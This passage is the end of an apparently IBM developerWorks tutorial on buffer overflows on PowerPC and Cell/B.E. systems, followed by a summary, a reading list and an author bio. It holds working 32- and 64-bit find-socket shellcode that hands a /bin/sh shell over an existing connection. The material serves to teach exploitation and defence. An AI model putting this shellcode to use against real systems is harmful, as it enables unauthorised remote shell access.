"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x08" /* addi r3,r29,-504 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x3b\x3c\x01\xff" /* addi r25,r28,511 */
"\xa3\x39\xfe\x03" /* lhz r25,-509(r25) */
"\x28\x19\x04\xd2" /* cmplwi r25,1234 */
"\x40\x82\xff\xd0" /* bne+ <fndsockcode+40> */
"\x3b\x1d\xfe\x03" /* addi r24,r29,-509 */
"\x7f\x04\xc3\x78" /* mr r4,r24 */
"\x7f\xe3\xfb\x78" /* mr r3,r31 */
"\x38\x1d\xfe\x40" /* addi r0,r29,-448 */
"\x44\xff\xff\x02" /* sc */
"\x37\x18\xff\xff" /* addic. r24,r24,-1 */
"\x40\x80\xff\xec" /* bge+ <fndsockcode+96> */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel+ <fndsockcode+120> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\x94\xa1\xff\xfc" /* stwu r5,-4(r1) */
"\x94\x61\xff\xfc" /* stwu r3,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
|
Listing 25. 64-bit find socket code (fndsockcode)
#define FNDSOCKPORT 86
char fndsockcode64[]= /* 171 bytes */
"\x7f\xff\xfa\x78" /* xor r31,r31,r31 */
"\x3b\xa0\x01\xff" /* li r29,511 */
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
"\x7c\x3c\x0b\x78" /* mr r28,r1 */
"\x3b\x7d\xfe\x11" /* addi r27,r29,-495 */
"\x97\x61\xff\xfc" /* stwu r27,-4(r1) */
"\x7c\x3a\x0b\x78" /* mr r26,r1 */
"\xfb\x41\xff\xf9" /* stdu r26,-8(r1) */
"\xfb\x81\xff\xf9" /* stdu r28,-8(r1) */
"\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */
"\x3b\xff\x01\xff" /* addi r31,r31,511 */
"\x3b\xff\xfe\x02" /* addi r31,r31,-510 */
"\x38\x21\x01\xff" /* addi r1,r1,511 */
"\x38\x21\xfe\x09" /* addi r1,r1,-503 */
"\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x08" /* addi r3,r29,-504 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x3b\x3c\x01\xff" /* addi r25,r28,511 */
"\xa3\x39\xfe\x03" /* lhz r25,-509(r25) */
"\x28\x19\x04\xd2" /* cmplwi r25,1234 */
"\x40\x82\xff\xd0" /* bne+ <fndsockcode64+40> */
"\x3b\x1d\xfe\x03" /* addi r24,r29,-509 */
"\x7f\x04\xc3\x78" /* mr r4,r24 */
"\x7f\xe3\xfb\x78" /* mr r3,r31 */
"\x38\x1d\xfe\x40" /* addi r0,r29,-448 */
"\x44\xff\xff\x02" /* sc */
"\x37\x18\xff\xff" /* addic. r24,r24,-1 */
"\x40\x80\xff\xec" /* bge+ <fndsockcode64+96> */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel+ <fndsockcode64+120> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\xf8\xa1\xff\xf9" /* stdu r5,-8(r1) */
"\xf8\x61\xff\xf9" /* stdu r3,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
|
I hope you now have a solid understanding of the issues surrounding buffer overflows on Power and Cell/B.E. systems. In this part, we covered how to overwrite a local variable in 32- and 64-bit modes, how to overwrite a function pointer in 32- and 64-bit modes, as well as assembly components through shell, network, and socket code samples.
Learn
-
Part 1 of this article
(developerWorks, January 2009) gave a history of the Power and
Cell/B.E. architectures with regard to buffer overflows.
-
"PowerPC Microprocessor Family: The Programming Environments for 32-Bit Microprocessors"
(IBM Technical Library, February 2000) is a manual is to help programmers
provide software that is compatible across the family of 32-bit PowerPC
processors.
-
"The Programming Environments Manual for 64-bit Microprocessors"
(IBM Technical Library, July 2005) provides a general description of
features common to 64-bit PPC processors and indicates those features that
are optional or that may be implemented differently in the design of each
processor.
-
"Developing Embedded Software For The IBM PowerPC 970FX Processor"
(IBM Technical Library, July 2004) is an application note that discusses
issues associated with developing new software and porting existing
software to the PowerPC 970FX processor, including an overview of the
PowerPC 64-bit architecture as implemented in the PowerPC 970FX processor.
-
"Cell Broadband Engine Programming Handbook"
(IBM Technical Library, April 2007) provides information for developing
applications, libraries, middleware, drivers, compilers, or operating
systems for the Cell Broadband Engine.
-
"Power Instruction Set Architecture Version 2.05"
(Power.org, October 2007) is the instruction set specification.
- The
UNIX Assembly Components for Proof of Concept Codes
project contains a set of assembly components for proof of concept codes
on different operating systems and architectures.
-
"Secure programmer: Countering buffer overflows"
(developerWorks, January 2004) provides a view into the top vulnerability
in Linux/UNIX systems -- buffer overflows -- by explaining what they are,
why they're common, why they're dangerous, and how to counter them.
- In the
developerWorks Linux zone,
find more resources for Linux developers (including developers who are
new to Linux), and scan our
most popular articles and
tutorials.
-
See all
Linux tips and
Linux tutorials on developerWorks.
-
Stay current with
developerWorks technical events and Webcasts.
Get products and technologies
-
Order the SEK for Linux,
a two-DVD set containing the latest IBM trial software for Linux from DB2®,
Lotus®, Rational®, Tivoli®, and WebSphere®.
-
With
IBM trial software,
available for download directly from developerWorks, build your next development
project on Linux.
Discuss
-
Get involved in the
developerWorks community through blogs, forums, podcasts, and spaces.
Ramon is a Software Engineer at the IBM Linux Technology Center in Sao Paulo, Brazil. He is a Founder/Security Researcher at RISE Security and has extensive experience in vulnerability research, exploitation techniques, exploit development, and reverse engineering on a wide range of operating systems and architectures. He also contributes to open source projects like The Metasploit Framework.
Comments (Undergoing maintenance)





